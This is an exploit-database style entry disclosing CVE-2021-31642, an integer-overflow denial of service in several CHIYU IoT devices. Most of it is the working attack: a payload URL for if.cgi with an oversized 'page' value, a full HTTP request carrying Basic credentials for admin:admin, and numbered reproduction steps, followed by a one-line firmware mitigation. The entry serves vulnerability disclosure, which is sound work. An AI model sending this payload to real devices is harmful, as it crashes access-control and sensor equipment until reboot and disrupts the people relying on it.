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# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
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# Date: 01/06/2021
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# Exploit Author: sirpedrotavares
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# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
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# Software Link: https://www.chiyu-tech.com/category-hardware.html
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# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
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# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
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# CVE: CVE-2021-31642
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# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
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Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
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CVE ID: CVE-2021-31642
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CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642
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Affected parameter: page=Component: if.cgi
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Payload:
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if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
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====HTTP request======
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GET
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/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
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HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
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Gecko/20100101 Firefox/87.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
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Accept-Encoding: gzip, deflate
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Authorization: Basic YWRtaW46YWRtaW4=
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Connection: close
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Referer: http://127.0.0.1/AccLog.htm
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Cookie: fresh=
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Upgrade-Insecure-Requests: 1
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Steps to reproduce:
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1. Navigate to the vulnerable device
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2. Make a GET request to the CGI component (if.cgi)
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3. Append the payload at the end of the vulnerable parameter (page)
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4. Submit the request and observe payload execution
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Mitigation: The latest version of the CHIYU firmware should be installed
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to mitigate this vulnerability. |